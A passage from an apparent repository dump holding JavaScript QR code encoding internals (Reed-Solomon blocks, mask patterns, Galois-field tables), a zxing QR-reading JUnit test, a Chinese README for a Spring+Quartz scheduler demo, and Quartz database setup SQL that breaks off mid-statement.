QRPolynomial(dcdata[r], rsPoly.getLength() - 1);\n\n\t\tvar modPoly = rawPoly.mod(rsPoly);\n\t\tecdata[r] = new Array(rsPoly.getLength() - 1);\n\t\tfor (var i = 0; i < ecdata[r].length; i++) {\n            var modIndex = i + modPoly.getLength() - ecdata[r].length;\n\t\t\tecdata[r][i] = (modIndex >= 0)? modPoly.get(modIndex) : 0;\n\t\t}\n\n\t}\n\t\n\tvar totalCodeCount = 0;\n\tfor (var i = 0; i < rsBlocks.length; i++) {\n\t\ttotalCodeCount += rsBlocks[i].totalCount;\n\t}\n\n\tvar data = new Array(totalCodeCount);\n\tvar index = 0;\n\n\tfor (var i = 0; i < maxDcCount; i++) {\n\t\tfor (var r = 0; r < rsBlocks.length; r++) {\n\t\t\tif (i < dcdata[r].length) {\n\t\t\t\tdata[index++] = dcdata[r][i];\n\t\t\t}\n\t\t}\n\t}\n\n\tfor (var i = 0; i < maxEcCount; i++) {\n\t\tfor (var r = 0; r < rsBlocks.length; r++) {\n\t\t\tif (i < ecdata[r].length) {\n\t\t\t\tdata[index++] = ecdata[r][i];\n\t\t\t}\n\t\t}\n\t}\n\n\treturn data;\n\n}\n\n//---------------------------------------------------------------------\n// QRMode\n//---------------------------------------------------------------------\n\nvar QRMode = {\n\tMODE_NUMBER :\t\t1 << 0,\n\tMODE_ALPHA_NUM : \t1 << 1,\n\tMODE_8BIT_BYTE : \t1 << 2,\n\tMODE_KANJI :\t\t1 << 3\n};\n\n//---------------------------------------------------------------------\n// QRErrorCorrectLevel\n//---------------------------------------------------------------------\n \nvar QRErrorCorrectLevel = {\n\tL : 1,\n\tM : 0,\n\tQ : 3,\n\tH : 2\n};\n\n//---------------------------------------------------------------------\n// QRMaskPattern\n//---------------------------------------------------------------------\n\nvar QRMaskPattern = {\n\tPATTERN000 : 0,\n\tPATTERN001 : 1,\n\tPATTERN010 : 2,\n\tPATTERN011 : 3,\n\tPATTERN100 : 4,\n\tPATTERN101 : 5,\n\tPATTERN110 : 6,\n\tPATTERN111 : 7\n};\n\n//---------------------------------------------------------------------\n// QRUtil\n//---------------------------------------------------------------------\n \nvar QRUtil = {\n\n    PATTERN_POSITION_TABLE : [\n\t    [],\n\t    [6, 18],\n\t    [6, 22],\n\t    [6, 26],\n\t    [6, 30],\n\t    [6, 34],\n\t    [6, 22, 38],\n\t    [6, 24, 42],\n\t    [6, 26, 46],\n\t    [6, 28, 50],\n\t    [6, 30, 54],\t\t\n\t    [6, 32, 58],\n\t    [6, 34, 62],\n\t    [6, 26, 46, 66],\n\t    [6, 26, 48, 70],\n\t    [6, 26, 50, 74],\n\t    [6, 30, 54, 78],\n\t    [6, 30, 56, 82],\n\t    [6, 30, 58, 86],\n\t    [6, 34, 62, 90],\n\t    [6, 28, 50, 72, 94],\n\t    [6, 26, 50, 74, 98],\n\t    [6, 30, 54, 78, 102],\n\t    [6, 28, 54, 80, 106],\n\t    [6, 32, 58, 84, 110],\n\t    [6, 30, 58, 86, 114],\n\t    [6, 34, 62, 90, 118],\n\t    [6, 26, 50, 74, 98, 122],\n\t    [6, 30, 54, 78, 102, 126],\n\t    [6, 26, 52, 78, 104, 130],\n\t    [6, 30, 56, 82, 108, 134],\n\t    [6, 34, 60, 86, 112, 138],\n\t    [6, 30, 58, 86, 114, 142],\n\t    [6, 34, 62, 90, 118, 146],\n\t    [6, 30, 54, 78, 102, 126, 150],\n\t    [6, 24, 50, 76, 102, 128, 154],\n\t    [6, 28, 54, 80, 106, 132, 158],\n\t    [6, 32, 58, 84, 110, 136, 162],\n\t    [6, 26, 54, 82, 110, 138, 166],\n\t    [6, 30, 58, 86, 114, 142, 170]\n    ],\n\n    G15 : (1 << 10) | (1 << 8) | (1 << 5) | (1 << 4) | (1 << 2) | (1 << 1) | (1 << 0),\n    G18 : (1 << 12) | (1 << 11) | (1 << 10) | (1 << 9) | (1 << 8) | (1 << 5) | (1 << 2) | (1 << 0),\n    G15_MASK : (1 << 14) | (1 << 12) | (1 << 10)\t| (1 << 4) | (1 << 1),\n\n    getBCHTypeInfo : function(data) {\n\t    var d = data << 10;\n\t    while (QRUtil.getBCHDigit(d) - QRUtil.getBCHDigit(QRUtil.G15) >= 0) {\n\t\t    d ^= (QRUtil.G15 << (QRUtil.getBCHDigit(d) - QRUtil.getBCHDigit(QRUtil.G15) ) ); \t\n\t    }\n\t    return ( (data << 10) | d) ^ QRUtil.G15_MASK;\n    },\n\n    getBCHTypeNumber : function(data) {\n\t    var d = data << 12;\n\t    while (QRUtil.getBCHDigit(d) - QRUtil.getBCHDigit(QRUtil.G18) >= 0) {\n\t\t    d ^= (QRUtil.G18 << (QRUtil.getBCHDigit(d) - QRUtil.getBCHDigit(QRUtil.G18) ) ); \t\n\t    }\n\t    return (data << 12) | d;\n    },\n\n    getBCHDigit : function(data) {\n\n\t    var digit = 0;\n\n\t    while (data != 0) {\n\t\t    digit++;\n\t\t    data >>>= 1;\n\t    }\n\n\t    return digit;\n    },\n\n    getPatternPosition : function(typeNumber) {\n\t    return QRUtil.PATTERN_POSITION_TABLE[typeNumber - 1];\n    },\n\n    getMask : function(maskPattern, i, j) {\n\t    \n\t    switch (maskPattern) {\n\t\t    \n\t    case QRMaskPattern.PATTERN000 : return (i + j) % 2 == 0;\n\t    case QRMaskPattern.PATTERN001 : return i % 2 == 0;\n\t    case QRMaskPattern.PATTERN010 : return j % 3 == 0;\n\t    case QRMaskPattern.PATTERN011 : return (i + j) % 3 == 0;\n\t    case QRMaskPattern.PATTERN100 : return (Math.floor(i / 2) + Math.floor(j / 3) ) % 2 == 0;\n\t    case QRMaskPattern.PATTERN101 : return (i * j) % 2 + (i * j) % 3 == 0;\n\t    case QRMaskPattern.PATTERN110 : return ( (i * j) % 2 + (i * j) % 3) % 2 == 0;\n\t    case QRMaskPattern.PATTERN111 : return ( (i * j) % 3 + (i + j) % 2) % 2 == 0;\n\n\t    default :\n\t\t    throw new Error(\"bad maskPattern:\" + maskPattern);\n\t    }\n    },\n\n    getErrorCorrectPolynomial : function(errorCorrectLength) {\n\n\t    var a = new QRPolynomial([1], 0);\n\n\t    for (var i = 0; i < errorCorrectLength; i++) {\n\t\t    a = a.multiply(new QRPolynomial([1, QRMath.gexp(i)], 0) );\n\t    }\n\n\t    return a;\n    },\n\n    getLengthInBits : function(mode, type) {\n\n\t    if (1 <= type && type < 10) {\n\n\t\t    // 1 - 9\n\n\t\t    switch(mode) {\n\t\t    case QRMode.MODE_NUMBER \t: return 10;\n\t\t    case QRMode.MODE_ALPHA_NUM \t: return 9;\n\t\t    case QRMode.MODE_8BIT_BYTE\t: return 8;\n\t\t    case QRMode.MODE_KANJI  \t: return 8;\n\t\t    default :\n\t\t\t    throw new Error(\"mode:\" + mode);\n\t\t    }\n\n\t    } else if (type < 27) {\n\n\t\t    // 10 - 26\n\n\t\t    switch(mode) {\n\t\t    case QRMode.MODE_NUMBER \t: return 12;\n\t\t    case QRMode.MODE_ALPHA_NUM \t: return 11;\n\t\t    case QRMode.MODE_8BIT_BYTE\t: return 16;\n\t\t    case QRMode.MODE_KANJI  \t: return 10;\n\t\t    default :\n\t\t\t    throw new Error(\"mode:\" + mode);\n\t\t    }\n\n\t    } else if (type < 41) {\n\n\t\t    // 27 - 40\n\n\t\t    switch(mode) {\n\t\t    case QRMode.MODE_NUMBER \t: return 14;\n\t\t    case QRMode.MODE_ALPHA_NUM\t: return 13;\n\t\t    case QRMode.MODE_8BIT_BYTE\t: return 16;\n\t\t    case QRMode.MODE_KANJI  \t: return 12;\n\t\t    default :\n\t\t\t    throw new Error(\"mode:\" + mode);\n\t\t    }\n\n\t    } else {\n\t\t    throw new Error(\"type:\" + type);\n\t    }\n    },\n\n    getLostPoint : function(qrCode) {\n\t    \n\t    var moduleCount = qrCode.getModuleCount();\n\t    \n\t    var lostPoint = 0;\n\t    \n\t    // LEVEL1\n\t    \n\t    for (var row = 0; row < moduleCount; row++) {\n\n\t\t    for (var col = 0; col < moduleCount; col++) {\n\n\t\t\t    var sameCount = 0;\n\t\t\t    var dark = qrCode.isDark(row, col);\n\n\t\t\t\tfor (var r = -1; r <= 1; r++) {\n\n\t\t\t\t    if (row + r < 0 || moduleCount <= row + r) {\n\t\t\t\t\t    continue;\n\t\t\t\t    }\n\n\t\t\t\t    for (var c = -1; c <= 1; c++) {\n\n\t\t\t\t\t    if (col + c < 0 || moduleCount <= col + c) {\n\t\t\t\t\t\t    continue;\n\t\t\t\t\t    }\n\n\t\t\t\t\t    if (r == 0 && c == 0) {\n\t\t\t\t\t\t    continue;\n\t\t\t\t\t    }\n\n\t\t\t\t\t    if (dark == qrCode.isDark(row + r, col + c) ) {\n\t\t\t\t\t\t    sameCount++;\n\t\t\t\t\t    }\n\t\t\t\t    }\n\t\t\t    }\n\n\t\t\t    if (sameCount > 5) {\n\t\t\t\t    lostPoint += (3 + sameCount - 5);\n\t\t\t    }\n\t\t    }\n\t    }\n\n\t    // LEVEL2\n\n\t    for (var row = 0; row < moduleCount - 1; row++) {\n\t\t    for (var col = 0; col < moduleCount - 1; col++) {\n\t\t\t    var count = 0;\n\t\t\t    if (qrCode.isDark(row,     col    ) ) count++;\n\t\t\t    if (qrCode.isDark(row + 1, col    ) ) count++;\n\t\t\t    if (qrCode.isDark(row,     col + 1) ) count++;\n\t\t\t    if (qrCode.isDark(row + 1, col + 1) ) count++;\n\t\t\t    if (count == 0 || count == 4) {\n\t\t\t\t    lostPoint += 3;\n\t\t\t    }\n\t\t    }\n\t    }\n\n\t    // LEVEL3\n\n\t    for (var row = 0; row < moduleCount; row++) {\n\t\t    for (var col = 0; col < moduleCount - 6; col++) {\n\t\t\t    if (qrCode.isDark(row, col)\n\t\t\t\t\t    && !qrCode.isDark(row, col + 1)\n\t\t\t\t\t    &&  qrCode.isDark(row, col + 2)\n\t\t\t\t\t    &&  qrCode.isDark(row, col + 3)\n\t\t\t\t\t    &&  qrCode.isDark(row, col + 4)\n\t\t\t\t\t    && !qrCode.isDark(row, col + 5)\n\t\t\t\t\t    &&  qrCode.isDark(row, col + 6) ) {\n\t\t\t\t    lostPoint += 40;\n\t\t\t    }\n\t\t    }\n\t    }\n\n\t    for (var col = 0; col < moduleCount; col++) {\n\t\t    for (var row = 0; row < moduleCount - 6; row++) {\n\t\t\t    if (qrCode.isDark(row, col)\n\t\t\t\t\t    && !qrCode.isDark(row + 1, col)\n\t\t\t\t\t    &&  qrCode.isDark(row + 2, col)\n\t\t\t\t\t    &&  qrCode.isDark(row + 3, col)\n\t\t\t\t\t    &&  qrCode.isDark(row + 4, col)\n\t\t\t\t\t    && !qrCode.isDark(row + 5, col)\n\t\t\t\t\t    &&  qrCode.isDark(row + 6, col) ) {\n\t\t\t\t    lostPoint += 40;\n\t\t\t    }\n\t\t    }\n\t    }\n\n\t    // LEVEL4\n\t    \n\t    var darkCount = 0;\n\n\t    for (var col = 0; col < moduleCount; col++) {\n\t\t    for (var row = 0; row < moduleCount; row++) {\n\t\t\t    if (qrCode.isDark(row, col) ) {\n\t\t\t\t    darkCount++;\n\t\t\t    }\n\t\t    }\n\t    }\n\t    \n\t    var ratio = Math.abs(100 * darkCount / moduleCount / moduleCount - 50) / 5;\n\t    lostPoint += ratio * 10;\n\n\t    return lostPoint;\t\t\n    }\n\n};\n\n\n//---------------------------------------------------------------------\n// QRMath\n//---------------------------------------------------------------------\n\nvar QRMath = {\n\n\tglog : function(n) {\n\t\n\t\tif (n < 1) {\n\t\t\tthrow new Error(\"glog(\" + n + \")\");\n\t\t}\n\t\t\n\t\treturn QRMath.LOG_TABLE[n];\n\t},\n\t\n\tgexp : function(n) {\n\t\n\t\twhile (n < 0) {\n\t\t\tn += 255;\n\t\t}\n\t\n\t\twhile (n >= 256) {\n\t\t\tn -= 255;\n\t\t}\n\t\n\t\treturn QRMath.EXP_TABLE[n];\n\t},\n\t\n\tEXP_TABLE : new Array(256),\n\t\n\tLOG_TABLE : new Array(256)\n\n};\n\t\nfor (var i = 0; i < 8; i++) {\n\tQRMath.EXP_TABLE[i] = 1 << i;\n}\nfor (var i = 8; i < 256; i++) {\n\tQRMath.EXP_TABLE[i] = QRMath.EXP_TABLE[i - 4]\n\t\t^ QRMath.EXP_TABLE[i - 5]\n\t\t^ QRMath.EXP_TABLE[i - 6]\n\t\t^ QRMath.EXP_TABLE[i - 8];\n}\nfor (var i = 0; i < 255; i++) {\n\tQRMath.LOG_TABLE[QRMath.EXP_TABLE[i] ] = i;\n}\n\n//---------------------------------------------------------------------\n// QRPolynomial\n//---------------------------------------------------------------------\n\nfunction QRPolynomial(num, shift) {\n\n\tif (num.length == undefined) {\n\t\tthrow new Error(num.length + \"/\" + shift);\n\t}\n\n\tvar offset = 0;\n\n\twhile (offset < num.length && num[offset] == 0) {\n\t\toffset++;\n\t}\n\n\tthis.num = new Array(num.length - offset + shift);\n\tfor (var i = 0; i < num.length - offset; i++) {\n\t\tthis.num[i] = num[i + offset];\n\t}\n}\n\nQRPolynomial.prototype = {\n\n\tget : function(index) {\n\t\treturn this.num[index];\n\t},\n\t\n\tgetLength : function() {\n\t\treturn this.num.length;\n\t},\n\t\n\tmultiply : function(e) {\n\t\n\t\tvar num = new Array(this.getLength() + e.getLength() - 1);\n\t\n\t\tfor (var i = 0; i < this.getLength(); i++) {\n\t\t\tfor (var j = 0; j < e.getLength(); j++) {\n\t\t\t\tnum[i + j] ^= QRMath.gexp(QRMath.glog(this.get(i) ) + QRMath.glog(e.get(j) ) );\n\t\t\t}\n\t\t}\n\t\n\t\treturn new QRPolynomial(num, 0);\n\t},\n\t\n\tmod : function(e) {\n\t\n\t\tif (this.getLength() - e.getLength() < 0) {\n\t\t\treturn this;\n\t\t}\n\t\n\t\tvar ratio = QRMath.glog(this.get(0) ) - QRMath.glog(e.get(0) );\n\t\n\t\tvar num = new Array(this.getLength() );\n\t\t\n\t\tfor (var i = 0; i < this.getLength(); i++) {\n\t\t\tnum[i] = this.get(i);\n\t\t}\n\t\t\n\t\tfor (var i = 0; i < e.getLength(); i++) {\n\t\t\tnum[i] ^= QRMath.gexp(QRMath.glog(e.get(i) ) + ratio);\n\t\t}\n\t\n\t\t// recursive call\n\t\treturn new QRPolynomial(num, 0).mod(e);\n\t}\n};\n\n//---------------------------------------------------------------------\n// QRRSBlock\n//---------------------------------------------------------------------\n\nfunction QRRSBlock(totalCount, dataCount) {\n\tthis.totalCount = totalCount;\n\tthis.dataCount  = dataCount;\n}\n\nQRRSBlock.RS_BLOCK_TABLE = [\n\n\t// L\n\t// M\n\t// Q\n\t// H\n\n\t// 1\n\t[1, 26, 19],\n\t[1, 26, 16],\n\t[1, 26, 13],\n\t[1, 26, 9],\n\t\n\t// 2\n\t[1, 44, 34],\n\t[1, 44, 28],\n\t[1, 44, 22],\n\t[1, 44, 16],\n\n\t// 3\n\t[1, 70, 55],\n\t[1, 70, 44],\n\t[2, 35, 17],\n\t[2, 35, 13],\n\n\t// 4\t\t\n\t[1, 100, 80],\n\t[2, 50, 32],\n\t[2, 50, 24],\n\t[4, 25, 9],\n\t\n\t// 5\n\t[1, 134, 108],\n\t[2, 67, 43],\n\t[2, 33, 15, 2, 34, 16],\n\t[2, 33, 11, 2, 34, 12],\n\t\n\t// 6\n\t[2, 86, 68],\n\t[4, 43, 27],\n\t[4, 43, 19],\n\t[4, 43, 15],\n\t\n\t// 7\t\t\n\t[2, 98, 78],\n\t[4, 49, 31],\n\t[2, 32, 14, 4, 33, 15],\n\t[4, 39, 13, 1, 40, 14],\n\t\n\t// 8\n\t[2, 121, 97],\n\t[2, 60, 38, 2, 61, 39],\n\t[4, 40, 18, 2, 41, 19],\n\t[4, 40, 14, 2, 41, 15],\n\t\n\t// 9\n\t[2, 146, 116],\n\t[3, 58, 36, 2, 59, 37],\n\t[4, 36, 16, 4, 37, 17],\n\t[4, 36, 12, 4, 37, 13],\n\t\n\t// 10\t\t\n\t[2, 86, 68, 2, 87, 69],\n\t[4, 69, 43, 1, 70, 44],\n\t[6, 43, 19, 2, 44, 20],\n\t[6, 43, 15, 2, 44, 16],\n\n\t// 11\n\t[4, 101, 81],\n\t[1, 80, 50, 4, 81, 51],\n\t[4, 50, 22, 4, 51, 23],\n\t[3, 36, 12, 8, 37, 13],\n\n\t// 12\n\t[2, 116, 92, 2, 117, 93],\n\t[6, 58, 36, 2, 59, 37],\n\t[4, 46, 20, 6, 47, 21],\n\t[7, 42, 14, 4, 43, 15],\n\n\t// 13\n\t[4, 133, 107],\n\t[8, 59, 37, 1, 60, 38],\n\t[8, 44, 20, 4, 45, 21],\n\t[12, 33, 11, 4, 34, 12],\n\n\t// 14\n\t[3, 145, 115, 1, 146, 116],\n\t[4, 64, 40, 5, 65, 41],\n\t[11, 36, 16, 5, 37, 17],\n\t[11, 36, 12, 5, 37, 13],\n\n\t// 15\n\t[5, 109, 87, 1, 110, 88],\n\t[5, 65, 41, 5, 66, 42],\n\t[5, 54, 24, 7, 55, 25],\n\t[11, 36, 12],\n\n\t// 16\n\t[5, 122, 98, 1, 123, 99],\n\t[7, 73, 45, 3, 74, 46],\n\t[15, 43, 19, 2, 44, 20],\n\t[3, 45, 15, 13, 46, 16],\n\n\t// 17\n\t[1, 135, 107, 5, 136, 108],\n\t[10, 74, 46, 1, 75, 47],\n\t[1, 50, 22, 15, 51, 23],\n\t[2, 42, 14, 17, 43, 15],\n\n\t// 18\n\t[5, 150, 120, 1, 151, 121],\n\t[9, 69, 43, 4, 70, 44],\n\t[17, 50, 22, 1, 51, 23],\n\t[2, 42, 14, 19, 43, 15],\n\n\t// 19\n\t[3, 141, 113, 4, 142, 114],\n\t[3, 70, 44, 11, 71, 45],\n\t[17, 47, 21, 4, 48, 22],\n\t[9, 39, 13, 16, 40, 14],\n\n\t// 20\n\t[3, 135, 107, 5, 136, 108],\n\t[3, 67, 41, 13, 68, 42],\n\t[15, 54, 24, 5, 55, 25],\n\t[15, 43, 15, 10, 44, 16],\n\n\t// 21\n\t[4, 144, 116, 4, 145, 117],\n\t[17, 68, 42],\n\t[17, 50, 22, 6, 51, 23],\n\t[19, 46, 16, 6, 47, 17],\n\n\t// 22\n\t[2, 139, 111, 7, 140, 112],\n\t[17, 74, 46],\n\t[7, 54, 24, 16, 55, 25],\n\t[34, 37, 13],\n\n\t// 23\n\t[4, 151, 121, 5, 152, 122],\n\t[4, 75, 47, 14, 76, 48],\n\t[11, 54, 24, 14, 55, 25],\n\t[16, 45, 15, 14, 46, 16],\n\n\t// 24\n\t[6, 147, 117, 4, 148, 118],\n\t[6, 73, 45, 14, 74, 46],\n\t[11, 54, 24, 16, 55, 25],\n\t[30, 46, 16, 2, 47, 17],\n\n\t// 25\n\t[8, 132, 106, 4, 133, 107],\n\t[8, 75, 47, 13, 76, 48],\n\t[7, 54, 24, 22, 55, 25],\n\t[22, 45, 15, 13, 46, 16],\n\n\t// 26\n\t[10, 142, 114, 2, 143, 115],\n\t[19, 74, 46, 4, 75, 47],\n\t[28, 50, 22, 6, 51, 23],\n\t[33, 46, 16, 4, 47, 17],\n\n\t// 27\n\t[8, 152, 122, 4, 153, 123],\n\t[22, 73, 45, 3, 74, 46],\n\t[8, 53, 23, 26, 54, 24],\n\t[12, 45, 15, 28, 46, 16],\n\n\t// 28\n\t[3, 147, 117, 10, 148, 118],\n\t[3, 73, 45, 23, 74, 46],\n\t[4, 54, 24, 31, 55, 25],\n\t[11, 45, 15, 31, 46, 16],\n\n\t// 29\n\t[7, 146, 116, 7, 147, 117],\n\t[21, 73, 45, 7, 74, 46],\n\t[1, 53, 23, 37, 54, 24],\n\t[19, 45, 15, 26, 46, 16],\n\n\t// 30\n\t[5, 145, 115, 10, 146, 116],\n\t[19, 75, 47, 10, 76, 48],\n\t[15, 54, 24, 25, 55, 25],\n\t[23, 45, 15, 25, 46, 16],\n\n\t// 31\n\t[13, 145, 115, 3, 146, 116],\n\t[2, 74, 46, 29, 75, 47],\n\t[42, 54, 24, 1, 55, 25],\n\t[23, 45, 15, 28, 46, 16],\n\n\t// 32\n\t[17, 145, 115],\n\t[10, 74, 46, 23, 75, 47],\n\t[10, 54, 24, 35, 55, 25],\n\t[19, 45, 15, 35, 46, 16],\n\n\t// 33\n\t[17, 145, 115, 1, 146, 116],\n\t[14, 74, 46, 21, 75, 47],\n\t[29, 54, 24, 19, 55, 25],\n\t[11, 45, 15, 46, 46, 16],\n\n\t// 34\n\t[13, 145, 115, 6, 146, 116],\n\t[14, 74, 46, 23, 75, 47],\n\t[44, 54, 24, 7, 55, 25],\n\t[59, 46, 16, 1, 47, 17],\n\n\t// 35\n\t[12, 151, 121, 7, 152, 122],\n\t[12, 75, 47, 26, 76, 48],\n\t[39, 54, 24, 14, 55, 25],\n\t[22, 45, 15, 41, 46, 16],\n\n\t// 36\n\t[6, 151, 121, 14, 152, 122],\n\t[6, 75, 47, 34, 76, 48],\n\t[46, 54, 24, 10, 55, 25],\n\t[2, 45, 15, 64, 46, 16],\n\n\t// 37\n\t[17, 152, 122, 4, 153, 123],\n\t[29, 74, 46, 14, 75, 47],\n\t[49, 54, 24, 10, 55, 25],\n\t[24, 45, 15, 46, 46, 16],\n\n\t// 38\n\t[4, 152, 122, 18, 153, 123],\n\t[13, 74, 46, 32, 75, 47],\n\t[48, 54, 24, 14, 55, 25],\n\t[42, 45, 15, 32, 46, 16],\n\n\t// 39\n\t[20, 147, 117, 4, 148, 118],\n\t[40, 75, 47, 7, 76, 48],\n\t[43, 54, 24, 22, 55, 25],\n\t[10, 45, 15, 67, 46, 16],\n\n\t// 40\n\t[19, 148, 118, 6, 149, 119],\n\t[18, 75, 47, 31, 76, 48],\n\t[34, 54, 24, 34, 55, 25],\n\t[20, 45, 15, 61, 46, 16]\n];\n\nQRRSBlock.getRSBlocks = function(typeNumber, errorCorrectLevel) {\n\t\n\tvar rsBlock = QRRSBlock.getRsBlockTable(typeNumber, errorCorrectLevel);\n\t\n\tif (rsBlock == undefined) {\n\t\tthrow new Error(\"bad rs block @ typeNumber:\" + typeNumber + \"/errorCorrectLevel:\" + errorCorrectLevel);\n\t}\n\n\tvar length = rsBlock.length / 3;\n\t\n\tvar list = new Array();\n\t\n\tfor (var i = 0; i < length; i++) {\n\n\t\tvar count = rsBlock[i * 3 + 0];\n\t\tvar totalCount = rsBlock[i * 3 + 1];\n\t\tvar dataCount  = rsBlock[i * 3 + 2];\n\n\t\tfor (var j = 0; j < count; j++) {\n\t\t\tlist.push(new QRRSBlock(totalCount, dataCount) );\t\n\t\t}\n\t}\n\t\n\treturn list;\n}\n\nQRRSBlock.getRsBlockTable = function(typeNumber, errorCorrectLevel) {\n\n\tswitch(errorCorrectLevel) {\n\tcase QRErrorCorrectLevel.L :\n\t\treturn QRRSBlock.RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 0];\n\tcase QRErrorCorrectLevel.M :\n\t\treturn QRRSBlock.RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 1];\n\tcase QRErrorCorrectLevel.Q :\n\t\treturn QRRSBlock.RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 2];\n\tcase QRErrorCorrectLevel.H :\n\t\treturn QRRSBlock.RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 3];\n\tdefault :\n\t\treturn undefined;\n\t}\n}\n\n//---------------------------------------------------------------------\n// QRBitBuffer\n//---------------------------------------------------------------------\n\nfunction QRBitBuffer() {\n\tthis.buffer = new Array();\n\tthis.length = 0;\n}\n\nQRBitBuffer.prototype = {\n\n\tget : function(index) {\n\t\tvar bufIndex = Math.floor(index / 8);\n\t\treturn ( (this.buffer[bufIndex] >>> (7 - index % 8) ) & 1) == 1;\n\t},\n\t\n\tput : function(num, length) {\n\t\tfor (var i = 0; i < length; i++) {\n\t\t\tthis.putBit( ( (num >>> (length - i - 1) ) & 1) == 1);\n\t\t}\n\t},\n\t\n\tgetLengthInBits : function() {\n\t\treturn this.length;\n\t},\n\t\n\tputBit : function(bit) {\n\t\n\t\tvar bufIndex = Math.floor(this.length / 8);\n\t\tif (this.buffer.length <= bufIndex) {\n\t\t\tthis.buffer.push(0);\n\t\t}\n\t\n\t\tif (bit) {\n\t\t\tthis.buffer[bufIndex] |= (0x80 >>> (this.length % 8) );\n\t\t}\n\t\n\t\tthis.length++;\n\t}\n};\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/test/java/ReadLogoTest.java",
    "content": "import org.junit.Test;\n\nimport com.google.zxing.BinaryBitmap;\nimport com.google.zxing.ChecksumException;\nimport com.google.zxing.FormatException;\nimport com.google.zxing.LuminanceSource;\nimport com.google.zxing.NotFoundException;\nimport com.google.zxing.common.HybridBinarizer;\nimport com.google.zxing.qrcode.QRCodeReader;\nimport com.jun.plugin.zxing.support.BufferedImageLuminanceSource;\n\n \npublic class ReadLogoTest {\n\n\t@Test\n\tpublic void test() throws NotFoundException, ChecksumException, FormatException {\n\t\tLuminanceSource luminanceSource = new BufferedImageLuminanceSource(null);\n\t\tQRCodeReader qrCodeReader = new QRCodeReader();\n\t\tqrCodeReader.decode(new BinaryBitmap(new HybridBinarizer(luminanceSource)));\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/README.md",
    "content": "#quartz作业demo\n\n项目介绍：Spring+Quartz集成实现的定时任务调度器，支持集群环境下的定时任务调用！\n\n项目开发环境：jdk1.7+，tomcat7.0+，sql server 2000+，mysql 5.6\n\n项目支持MySQL,SqlServer数据库，Oracle我这里没试，有兴趣的朋友可以自己做下，其实就是sql脚本不一样，具体的sql脚本可以下载quartz官方文档查看，里面有\n支持各种数据库的sql脚本\n\nMySQL版本部署步骤：\n\n1.首先根据jdbc.properties文件里面的配置新建对应的数据库\n\n2.执行db文件夹下的sql文件，先执行mysql_db.sql文件，再执行init_db.sql文件\n\n3.部署到tomcat即可查看定时任务的调度情况\n\nSqlServer版本部署步骤：\n\n1.首先根据jdbc.properties文件里面的配置新建对应的数据库\n\n2.执行db文件夹下的sql文件，先执行sqlserver_db.sql文件，再执行init_db.sql文件\n\n3.部署到tomcat即可查看定时任务的调度情况\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/doc/db/init_db.sql",
    "content": "INSERT INTO QRTZ_LOCKS values('TRIGGER_ACCESS'); \nINSERT INTO QRTZ_LOCKS values('JOB_ACCESS'); \nINSERT INTO QRTZ_LOCKS values('CALENDAR_ACCESS'); \nINSERT INTO QRTZ_LOCKS values('STATE_ACCESS'); \nINSERT INTO QRTZ_LOCKS values('MISFIRE_ACCESS'); "
  },
  {
    "path": "jun_java_plugins/jun_quartz/doc/db/mysql_db.sql",
    "content": "CREATE TABLE QRTZ_JOB_DETAILS \n( \nJOB_NAME VARCHAR(200) NOT NULL, \nJOB_GROUP VARCHAR(200) NOT NULL, \nDESCRIPTION VARCHAR(250) NULL, \nJOB_CLASS_NAME VARCHAR(250) NOT NULL, \nIS_DURABLE VARCHAR(1) NOT NULL, \nIS_VOLATILE VARCHAR(1) NOT NULL, \nIS_STATEFUL VARCHAR(1) NOT NULL, \nREQUESTS_RECOVERY VARCHAR(1) NOT NULL, \nJOB_DATA BLOB NULL, \nPRIMARY KEY (JOB_NAME,JOB_GROUP) \n); \n\nCREATE TABLE QRTZ_JOB_LISTENERS \n( \nJOB_NAME VARCHAR(200) NOT NULL, \nJOB_GROUP VARCHAR(200) NOT NULL, \nJOB_LISTENER VARCHAR(200) NOT NULL, \nPRIMARY KEY (JOB_NAME,JOB_GROUP,JOB_LISTENER), \nFOREIGN KEY (JOB_NAME,JOB_GROUP) \nREFERENCES QRTZ_JOB_DETAILS(JOB_NAME,JOB_GROUP) \n); \n\nCREATE TABLE QRTZ_TRIGGERS \n( \nTRIGGER_NAME VARCHAR(200) NOT NULL, \nTRIGGER_GROUP VARCHAR(200) NOT NULL, \nJOB_NAME VARCHAR(200) NOT NULL, \nJOB_GROUP VARCHAR(200) NOT NULL, \nIS_VOLATILE VARCHAR(1) NOT NULL, \nDESCRIPTION VARCHAR(250) NULL, \nNEXT_FIRE_TIME BIGINT(13) NULL, \nPREV_FIRE_TIME BIGINT(13) NULL, \nPRIORITY INTEGER NULL, \nTRIGGER_STATE VARCHAR(16) NOT NULL, \nTRIGGER_TYPE VARCHAR(8) NOT NULL, \nSTART_TIME BIGINT(13) NOT NULL, \nEND_TIME BIGINT(13) NULL, \nCALENDAR_NAME VARCHAR(200) NULL, \nMISFIRE_INSTR SMALLINT(2) NULL, \nJOB_DATA BLOB NULL, \nPRIMARY KEY (TRIGGER_NAME,TRIGGER_GROUP), \nFOREIGN KEY (JOB_NAME,JOB_GROUP) \nREFERENCES QRTZ_JOB_DETAILS(JOB_NAME,JOB_GROUP) \n); \n\nCREATE TABLE QRTZ_SIMPLE_TRIGGERS \n( \nTRIGGER_NAME VARCHAR(200) NOT NULL, \nTRIGGER_GROUP VARCHAR(200) NOT NULL, \nREPEAT_COUNT BIGINT(7) NOT NULL, \nREPEAT_INTERVAL BIGINT(12) NOT NULL, \nTIMES_TRIGGERED BIGINT(7) NOT NULL, \nPRIMARY KEY (TRIGGER_NAME,TRIGGER_GROUP), \nFOREIGN KEY (TRIGGER_NAME,TRIGGER_GROUP) \nREFERENCES QRTZ_TRIGGERS(TRIGGER_NAME,TRIGGER_GROUP) \n); \n\nCREATE TABLE QRTZ_CRON_TRIGGERS \n( \nTRIGGER_NAME VARCHAR(200) NOT NULL, \nTRIGGER_GROUP VARCHAR(200) NOT NULL, \nCRON_EXPRESSION VARCHAR(200) NOT NULL, \nTIME_ZONE_ID VARCHAR(80), \nPRIMARY KEY (TRIGGER_NAME,TRIGGER_GROUP), \nFOREIGN KEY (TRIGGER_NAME,TRIGGER_GROUP) \nREFERENCES 